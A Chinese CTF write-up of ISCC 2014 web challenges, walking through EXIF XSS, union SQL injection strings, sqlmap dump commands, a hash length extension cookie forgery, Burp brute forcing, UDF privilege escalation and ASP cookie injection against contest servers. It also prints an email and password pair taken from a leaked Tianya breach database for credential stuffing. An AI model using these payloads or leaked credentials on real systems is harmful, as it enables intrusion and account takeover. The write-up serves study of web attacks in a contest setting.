0×00
iscc 的比赛 持续了一个半月 做了一些 就写写 writeup 比赛也结束了 有的题目还是很不错的 我还作死的接触了一些逆向 pwn 的题目 这个是 web 部分的 writeup http://www.iscc.org.cn

0×01 彩蛋
比赛开始之前在 http://www.iscc.org.cn index.php 页面里的注释里 有一枚彩蛋

01 01101000011101000111010001110000000111010
02 00101111001011110111011101110111011101110111
03 00101110011010010111001101100011011000011
04 00101110011011110111001001100111001011110
05 01100011011011100010111100110100001101110
06 00110001001100000011011000110011001100110010
07 01100010001101000110001000110001001100110010
08 00110011001110000011100100110011001100110011
09 01100101001110010011100101100010011001100110
10 00111000011001010110001000110001001100110111
11 00111001011001000110011001100010011001100001
12 00101110011010100111000001100111000000000

神器 JPK 一上 然后就是很简单的解一下 8 位一个 ascii 码

http://www.iscc.org.cn/4610632b4b1238933e99bf8eb179dfba.jpg
就是个彩蛋 练练手

0×02 霸业蓝图 exif
web1 的是个 linux 逆向的 我就放到另外的一个逆向的 writeup 里
http://www.iscc.org.cn/challenges/2014/web/web02/
web02 是这样子的

http://www.ty-ing.org/script/2/

随便上传一张图片上去看看

发现了有显示出了 exif 的信息
然后就去百度看看 会有什么漏洞 然后在 wooyun 上看到了这个
DiscuzX2 个人空间图片 EXIF 信息 XSS
然后就和这个题目的描述一对比 很相似 很可能就是需要我们去做 xss 修改 exif 的信息成 xss 的 payload 可以用一些工具去实现 网上搜搜 一大堆 我用的是 powerexif

这里是一个我改好了的 jpg 图片

然后浏览 submit 就可以出 key 了 就一步 比较简单

19ojep03

0×03 君臣论证 sqli
http://www.iscc.org.cn/challenges/2014/web/web03/

http://www.ty-ing.org/script/3/

提交提交试试看

发现是有一个数据库查询的 然后返回信息 判断是有 sql 注入
然后就是自己慢慢测试 注入点在哪
month 那个是有注入的 可以构造语句 在 balance 为 2 的时候才会产生注入

然后就是测测看是什么 php 一般是+mysql
发现也确实是 然后后面的就顺理成章的东西咯
order by 发现是 4 然后就用 union select 返回表名啊 列名啊 数据之类的

```
1 #查询库名
2 1 union select group_concat(SCHEMA_NAME),NULL,NULL,NULL from information_schema.SCHEMATA
3 #查询 script 的表名
4 1 union select group_concat(table_name),NULL,NULL,NULL from information_schema.tables where table_schema=0x736372697074
5 #回显了这三个 people,report,xiaoming
6 #查询 xiaoming 的列名
```

```
7 1 union select group_concat(column_name),NULL,NULL,NULL from
  information_schema.columns where table_schema=0x736372697074
8 #发现回显了 secret
9 1 union select secret,NULL,NULL,NULL from xiaoming
```

9xme0siv2

0×04 火眼金睛 社工出奇迹
http://www.iscc.org.cn/challenges/2014/web/web04/

http://script.iscc.org.cn/web01_853d9ed229ab47b5878c456d2d861dad/index.html

仔细的看看题目描述 就看到了 TianYa 这不是天涯啊 然后就看到给了一个用户名 VeryCD 永垂不朽 需要我们去找秘密
后来的提示更明显了 说要在站内做题 不要去影响到本人什么的 貌似说是 那个 VeryCD 找到了 iscc 说了一下 更加的此地无银三百两
登陆框那里尝试了一下注入 没成功 就去研究题目描述 说到了天涯 很自然会想到天涯以前被拖过库 这会不会是要我们去撞库
这里是个天涯裤子的在线查询
http://www.594sgk.com/

之前还可以查询得到的 貌似被媒体一曝光 这个库也要账号了 简直无情啊

```
1 stanley.jiang@ap.jll
2 gnikni[512312
```

http://script.iscc.org.cn/web01_853d9ed229ab47b5878c456d2d861dad/login.html 登陆上去

能看到一张图片
ab8c3844185c16b72db72baed7750783.jpg

右键记事本 这里有一段 php 的代码

```
01 $auth = false;
02 if (isset($_COOKIE["auth"])) {
03       $auth = unserialize($_COOKIE["auth"]);
04       $hsh = $_COOKIE["hsh"];
05       if ($hsh !== md5($SECRET . strrev($_COOKIE["auth"])))
 {       //$SECRET is a 8-bit salt
06          $auth = false;
07       }
08 }
09 else {
10    $auth = false;
11    $s = serialize($auth);
12    setcookie("auth", $s);
13    setcookie("hsh", md5($SECRET . strrev($s)));
14 }
```

是这个页面的一部分代码 白盒审计一下
http://script.iscc.org.cn/web01_853d9ed229ab47b5878c456d2d861dad/admin.php
后来发现题出重了 和 2014 pctf web150 的题目的一样的 就去找找前人的 writeup
找到了冷夜牛的一篇
http://le4f.net/post/writeup/-ctf-plaidctf-2014-twenty_mtpox_doge_stege-writeup
哈希长度扩展攻击相关资料
http://www.freebuf.com/articles/web/31756.html
https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks
就用这个方法去搞搞这个

访问这个页面 可以得到 2 个 cookie 然后去 linux 下用 hash_extender
一开始我安装失败了 原来是少安装了一个库

```
1 sudo apt-get install libssl-dev
```

访问页面会返回一个 cookie 就是要对这个 cookie 进行扩展

```
1 Cookie: auth=b%3A0%3B; hsh=32efdc967fcaebc6853b75cacfb80c5f
```

生成了一个

%3b0%3ab%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00
1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%0
0%00%60%00%00%00%00%00%00%00%3b1%3ab

然后我们去反序一下

b%3a1%3b%00%00%00%00%00%00%00%60%00%00%00%00%00%00%00%00%00%00%00%00
1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%0
0%00%00%00%00%00%00%00%00%80b%3a0%3b

得到了这个 然后带上 cookie 和 hsh
发这个包

```
1 GET /web01_853d9ed229ab47b5878c456d2d861dad/admin.php HTTP/1.1
2 Host: script.iscc.org.cn
3 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
6 Accept-Encoding: gzip, deflate
7 Cookie: auth=b%3a1%3b%00%00%00%00%00%00%00%60%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3a0%3b; hsh=c244187d39381794b9064a02d669275a
8 Connection: keep-alive
```

回显了这个
POST ME SOME ID!
我们 post 一个 ID=value 的格式上去

然后就是尝试去注入了
字段是 1 order by 2 报错

判断是 mysql 的数据库 手工注入一下

```
#查询数据库版本
id=-1 union select version()
#查询数据库 发现 web 数据库
id=-1 union select group_concat(SCHEMA_NAME) from
information_schema.SCHEMATA
#查询表名 发现有 users 表
id=-1 union select group_concat(table_name) from
information_schema.tables where table_schema=0x776562
```

然后尝试用 sqlmap 来拖数据

```
POST /web01_853d9ed229ab47b5878c456d2d861dad/admin.php HTTP/1.1
Host: script.iscc.org.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0)
Gecko/20100101 Firefox/29.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie:
auth=b%3a1%3b%00%00%00%00%00%00%00%60%00%00%00%00%00%00%00%00%00%00
%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%
00%00%00%00%00%00%00%00%00%00%00%80b%3a0%3b;
hsh=c244187d39381794b9064a02d669275a
Connection: keep-alive
Content-Length: 4

id=1
```

保存成 appleu0.txt

```
sqlmap -r 'appleu0.txt' -D web -T users --dump -p id
```

```
administrator@tianya.com
2461C83C809E8BA6
```

http://script.iscc.org.cn/web01_853d9ed229ab47b5878c456d2d861dad/login.html
再去登陆上去

4297f44b13955235245b2497399d7a93.jpg

记事本打开就能看到 flag

f l a g { I _ A M _ A _ V E R Y _ S M A R T _ A D M I N _ L O L } 去掉空格
flag{I_AM_A_VERY_SMART_ADMIN_LOL}

0×05 上古神兽 爆破
http://www.iscc.org.cn/challenges/2014/web/web05/

http://script.iscc.org.cn/web05_519a5a01fb6685c1fd13f1442891d0f8/index.php

这个题目很变态 是去年的 去年一直没人做得出来 一直到今年 到最后面难度降低 还给了很多的提示才有人做出来了 所以最后题目才叫做上古神兽
http://lubao515.info/
还一直去这个大神的博客 找 tips
http://lubao515.info/archives/2013/06/138.html
最后是在这里有一个 tips
外部赋值的变量会覆盖内部赋值的变量 这个题目是要考察的是变量覆盖的知识
变量覆盖 就是相当于 我们做逆向时的爆破 改变某些关键寄存器啊 跳转啊 来达到自己的目的
在这个题目中的变量覆盖 目的是要我们发送流量给 lubao515 可以每次都会提示流量太少了
那么我们变量覆盖的目的 就是要在那个判断我们流量大小 大于 10G 之后 就会给某个变量赋值为 1 但是我们正常的情况下都是 0
所以就要给某个黑盒变量去覆盖为 1
可以使用 burp 爆破

```
01 POST /web05_519a5a01fb6685c1fd13f1442891d0f8/index.php?action=taketransfer&XXX=1 HTTP/1.1
02 Host: script.iscc.org.cn
03 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
04 Accept:
```

```
   text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
05 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
06 Accept-Encoding: gzip, deflate
07 Referer:
   http://script.iscc.org.cn/web05_519a5a01fb6685c1fd13f1442891d0f8/index.php
08 Connection: close
09 Content-Type: application/x-www-form-urlencoded
10 Content-Length: 64
11
12 uploaded=1000&receiver=lubao515&submitbutton=%E6%8F%90+%E4%BA%A4
```

把 XXX 替换成自己的字典去爆破 一开始没注意到一个问题的时候 爆破了一下午 什么都没爆破出来
就是 uploaded 的值要在 100 到 2048 之间 才可以 一开始使用 uploaded=1 去爆破什么都没有
自己弄个字典 大小写数字还有_之类的 62 个就可以了
然后就是 burp suite Intruder 这里 设置 Cluster bomb 可以爆破多个自己的设置的变量
后来才发现这个坑爹的题目 这个变量居然只有一位 那么 burp 设置 payload type 为 Brute forcer

爆破就可以了

发现了需要爆破的变量名为 G
设置 G=1 我们访问一次
感谢你的礼物，我现在已经有 999999999MB 的流量了！
发现了这个 在 repeater 里多测试
发现了 receiver=lubao515' and 1=2# 这里有个注入点
感谢你的礼物，我现在已经有 MB 的流量了！ 变成了这样子
直接把

```
   POST
01 /web05_519a5a01fb6685c1fd13f1442891d0f8/index.php?action=taketransfer&G=1 HTTP/1.1
02 Host: script.iscc.org.cn
03 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0)
   Gecko/20100101 Firefox/29.0
04 Accept:
```

```
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
05 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
06 Accept-Encoding: gzip, deflate
07 Referer: http://script.iscc.org.cn/web05_519a5a01fb6685c1fd13f1442891d0f8/index.php
08 Connection: close
09 Content-Type: application/x-www-form-urlencoded
10 Content-Length: 64
11
12 uploaded=1000&receiver=lubao515&submitbutton=%E6%8F%90+%E4%BA%A4
```

保存成 appleu0.txt 然后去注入 找到 labao515 的密码 就是 flag

```
1 #列数据库 发现了 web05
2 sqlmap -r 'appleu0.txt' --dbs -p receiver
3 #列 web05 表名 发现有 iscc 这个表
4 sqlmap -r 'appleu0.txt' -D web05 --table -p receiver
5 #列出 iscc 的列名 发现有 username 和 password
6 sqlmap -r 'appleu0.txt' -D web05 -T iscc --columns -p receiver
7 #拖出数据内容
8 sqlmap -r 'appleu0.txt' -D web05 -T iscc -C username,password -p receiver
```

8froerf9pu34rjeslfh

0×06 老马识途 网络编程
http://www.iscc.org.cn/challenges/2014/web/web06/

http://script2.iscc.org.cn/web07_e3a95260b7271954aa59460c134cde7e/

密码已经通过某种方式发给你了哦！不过密码的有效期只有 3 秒，要快哦！
说是密码已经给了我们 那么抓包看看

发现了 response 包中有那个 Password 的 http 头 那么我们需要把他处理一下 然

后往
http://script2.iscc.org.cn/web07_e3a95260b7271954aa59460c134cde7e/index.asp?action=Check
POST 这个内容 pwd=md5(Password)&Submit=%E6%8F%90%E4%BA%A4
限定的时间比较短 只有 3 秒 可以编程的实现 当然了如果你是单身很多很多年的话 可以试试看手动提交试试看 考验手速的时刻到来了
我是用的 ruby 写了一个 之后去尝试一下 python 最近也在学 python 写应该可以更快 写的时候 注意还要把 cookie 带上 会验证 cookie 和对于的 psw password 的

```
01 #encoding: utf-8
02 require 'net/http'
03 require 'digest/md5'
04
05 #=begin
06 #get 方式获取 password
07 puts 'get password'
08
09 headers = {      ##定义 http 请求头信息
10     'Host' => 'script2.iscc.org.cn',
11     'User-Agent' => 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0',
12     'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
13     'Accept-Language' => 'zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3',
14     'Accept-Encoding' => 'gzip, deflate',
15     'Connection' => 'keep-alive'
16 }
17
18 #要访问的网页 host
19 uri = URI.parse("http://script2.iscc.org.cn")
20
21 #创建服务器对象
22 res = Net::HTTP::start(uri.host){|http|
2         http.get(uri.path+'/web07_e3a95260b7271954aa59460c134cde7e/i
3  ndex.asp', headers)
24 }
25
```

```
#返回响应头信息
res.each{|key, value| puts "#{key} = #{value}"}

res.each{|key, value|
if key == 'set-cookie'
    $cookie = value
elsif key == 'password'
    $password = value
end
}

puts $cookie
puts $password

#输出 response 的内容
#puts res.body

#=end
#处理一下 cookie
$cookie = $cookie.split(';')[0]

#把 password 进行 md5
$password = Digest::MD5.hexdigest($password).upcase

puts $cookie
puts $password


#=begin
#post 方式提交 md5(password)
headers = {     ##定义 http 请求头信息
    'Host' => 'script2.iscc.org.cn',
    'User-Agent' => 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0',
```

```
59      'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
60      'Accept-Language' => 'zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3',
61      'Accept-Encoding' => 'gzip, deflate',
62      'Referer' => 'http://script2.iscc.org.cn/web07_e3a95260b7271954aa59460c134cde7e/index.asp',
63      'Cookie' => $cookie,
64      'Connection' => 'keep-alive',
65      'Content-Type' => 'application/x-www-form-urlencoded'
66  }
67
68  #要访问的域名
69  uri = URI.parse("http://script2.iscc.org.cn")
70
71  #创建服务器对象
72  res = Net::HTTP::start(uri.host){|http|
73          http.post(uri.path+'/web07_e3a95260b7271954aa59460c134cde7e/index.asp?action=Check',
74          'pwd='+$password+'&Submit=%E6%8F%90%E4%BA%A4',
75          headers)
76  }
77
78  #返回响应头信息
79  #res.each{|key, value| puts "#{key} = #{value}"}
80
81  #输出 response 的内容
82  puts res.body
83
84  #=end
```

KEY: W3b_Pr0Gr4m1ng@_@

0×07 首次会盟 udf

http://www.iscc.org.cn/challenges/2014/web/web07/

这个题是个 udf 的题 还是以前的题 2012 年的 swpu 的 mayafei 大哥哥出的 做做看
udf 的可以在 mysql 中有用户自定义的函数 在实战中可以用来提权 udf 提权 别的 sql 数据库也有类似的功能
自己可以本地弄一个 mysql
有一个要注意的 MYSQL 5.1 以上版本，必须要把 udf.dll 文件放到 MYSQL 安装目录下的 lib\plugin 文件夹下才能创建自定义函数
放到 plugin 之后

```
1 create function about returns string soname 'udf.dll';
```

然后就可以使用里面的函数了 提示说有 about 这个函数
我们尝试一下 select about();

Use getkey function to get the key!
那么我们就 select getkey();

U_Will_Use_Udf_In_Final_Challenge@2012

0×08 霸业初成 cookie 注入
http://www.iscc.org.cn/challenges/2014/web/web08/

http://script2.iscc.org.cn/web08_0cfd59e8aef4f69e9301b8dbd2e057b7/show.asp?id=1

是个 asp 的站 这里的是给了个 id=1 我们去注入注入 发现直接去注入被过滤了 asp 的站 可能出现的一个漏洞就是 cookie 注入 asp 编程时 使用 request("id") 没有限定获取参数的方式 是以 get post cookie 这样子的属性来获取的 因此可以使用 cookie 进行传参
对于 cookie 获取的测试没有进行过滤 这个是 cookie 注入产生的原因
那么有两种方法可以去做这个题 直接使用 sqlmap 去跑 cookie 注入
还有一种是使用注入中转工具去中转 然后再去注入

```
1 GET /web08_0cfd59e8aef4f69e9301b8dbd2e057b7/show.asp HTTP/1.1
2 Host: script2.iscc.org.cn
3 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
4 Accept:
```

```
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
6 Accept-Encoding: gzip, deflate
7 Cookie: ASPSESSIONIDAQSSQBTQ=MAJJIJLDHHFCBPHDEOFOGHMD;
  ASPSESSIONIDASRTQATR=OGKJBBMDFBEKNIDNJAHDKFCC; id=1
8 Connection: keep-alive
```

保存成 appleu0.txt

```
1 sqlmap -r 'appleu0.txt' --dbs --level=2 -p id --technique=B
```

貌似比较容易跑挂 略蛋疼 可以用 –delay=2 这样子来延时 之后好像是在晚上人少的时候跑的 还有通过-p 指定注入的参数 –technique=B 指定为盲注

还有一种方法就是用中转注入

生成一个 appleu0.asp 然后放在自己的 iis 下面跑跑

```
1 sqlmap -u "http://127.0.0.1/appleu0.asp?id=1"
```

发现有了 admin 表 还有 password 列
然后就–dump 出来
CaiBuDaoDeMiMa
写 writeup 的时候 又把 web08 跑挂了 真是尴尬